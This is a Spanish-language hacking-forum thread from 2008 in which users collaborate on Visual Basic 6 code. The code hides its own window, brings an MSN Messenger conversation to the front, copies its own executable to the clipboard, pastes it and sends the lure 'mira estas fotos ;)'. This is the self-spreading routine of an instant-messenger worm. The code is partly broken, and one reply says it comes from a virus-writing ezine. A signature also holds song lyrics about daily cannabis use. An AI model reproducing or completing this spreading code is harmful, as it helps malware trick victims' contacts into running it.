Duda con enviar archivos por MSN

Iniciado por hAcKeR92, 9 Marzo 2008, 23:41 PM

0 Miembros y 2 Visitantes están viendo este tema.

hAcKeR92

muchas gracias por todo..

Sigo sin conseguirlo.
Me da error Sub or Function not defined en la linea que pone Clipboard...

Aqui esta el code que llevo (de momento, copiaría el archivo y abriria la ventana para pegarse alli, que no se tampoco cual es la funcion... probe con PasteClipboard xD)

Private Sub CmdCopiarArchivo_Click()
On Error GoTo error1
Me.Hide
Dim Cadena As String
Cadena = App.Path & "/" & App.EXEName & ".exe"
CopyClipboard Me.hWnd, Array(Cadena)
AppActivate "Conversación"
error1:
End Sub

mojolloyo20

#11
bueno otro modulo amigo, aver si te sirve.

modulo:

Option Explicit
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
' Required data structures
Private Type POINTAPI
X As Long
y As Long
End Type

' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long

' Other required Win32 APIs


' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPICT = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17

' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOURCES As String = "Net Resource"
Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor"
Private Const CFSTR_FILECONTENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName"
Private Const CFSTR_FILENAMEMAP As String = "FileNameMap"

' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDABLE = &H100
Private Const GMEM_NOT_BANKED = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKED
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_INVALID_HANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type

Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Function ClipboardCopyFiles(Files() As String) As Boolean

Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long

' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard

' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar

' Allocate and get pointer to global memory,

' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)

' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)

' Copy data to clipboard, and return success.
If SetClipboardData(CF_HDROP, hGlobal) Then
ClipboardCopyFiles = True
End If
End If

' Clean up
Call CloseClipboard
End If

End Function


fin del modulo.


y ate dije que con ese codec no consegui nada,pero con este modulo sip y el codec de antes.

bueno ami manera de ver seria algo asin:

Private Sub Timer1_Timer()
On Error Resume Next
Me.Hide
AppActivate "Conversación"
If front1.Caption = "Conversación"
Cadena = App.Path & "/" & App.EXEName & ".exe"
if ClipboardCopyFiles,Me.hWnd, Array(Cadena) = True then
SendKeys "^V" ' se llama a la fncion newpropMSN
SendKeys " mira estas fotos ;) "
SendKeys "{ENTER}"
Err = 0
End Sub
bueno lo mismo tiene ortografias y seguro que no ba,pero para que te agas una idea.

algo asin como, si hay alguna ventana de messenger abieta se pone delante de todas como ventana principal,si en el front1 pone conversacion se ejecutara lo sigiente,se copia a si mismo y llama a la funcion newectect,envia una frase y da al enter.


y digo yo,por el msn no se pueden enviar exe no?tendria que copiarlo en la pc y comprimirlo y decirle la ubicacion,no se si me explico?

y si no tiene el winrrar?por que por vb el winrrar se podra manejar o no?

bueno un salu2

Lo reconozco
fumo porros a diario
me fumo uno y es como poner la radio
pero por dentro de mi amarga cabeza
siempre tan sola y tan llena de tristeza
Me salen la s canciones que a mí más me molan
las musiquillas que ha mí más me motivan
las amarguras se vuelven amapolas
y las tristezas me alegran la vida
Anda dame que fume
porque me siento sólo
dame de fumar
porque no quiero estar triste

cassiani

#12
Cita de: hAcKeR92 en 13 Marzo 2008, 20:33 PM
Sigo sin conseguirlo.
Me da error Sub or Function not defined en la linea que pone Clipboard...

Simplemente no te detuvistes a leer un poco, te dije lo siguiente y me cito:

Cita de: cΔssiΔnі en 11 Marzo 2008, 17:24 PM
Usa el modulo que dejo Cobein

Eso es justamente lo que debés hacer, adapta el modulo que te indique a tu proyecto y luego puedes usar el ejemplo que te cite, (porque ese ejemplo es el mismo que Cobein publico modificando solo los datos que carga el array y funciona perfectamente).

Tu error es justamente por eso, no puedes usar una función que no reconozca el vb, si no le pertenece al lenguaje tienes que declararla y establecer su rutina, esa será la función o el objetivo que cumplirá el modulo en este caso...

¡no se si me entendistes! ¡s4lu2!

:¬¬ :¬¬ :¬¬ :¬¬

NetWar

Claro mediante Clipboard...ese code que pusistes al principio pertenece a GEDZAC a una de sus ezine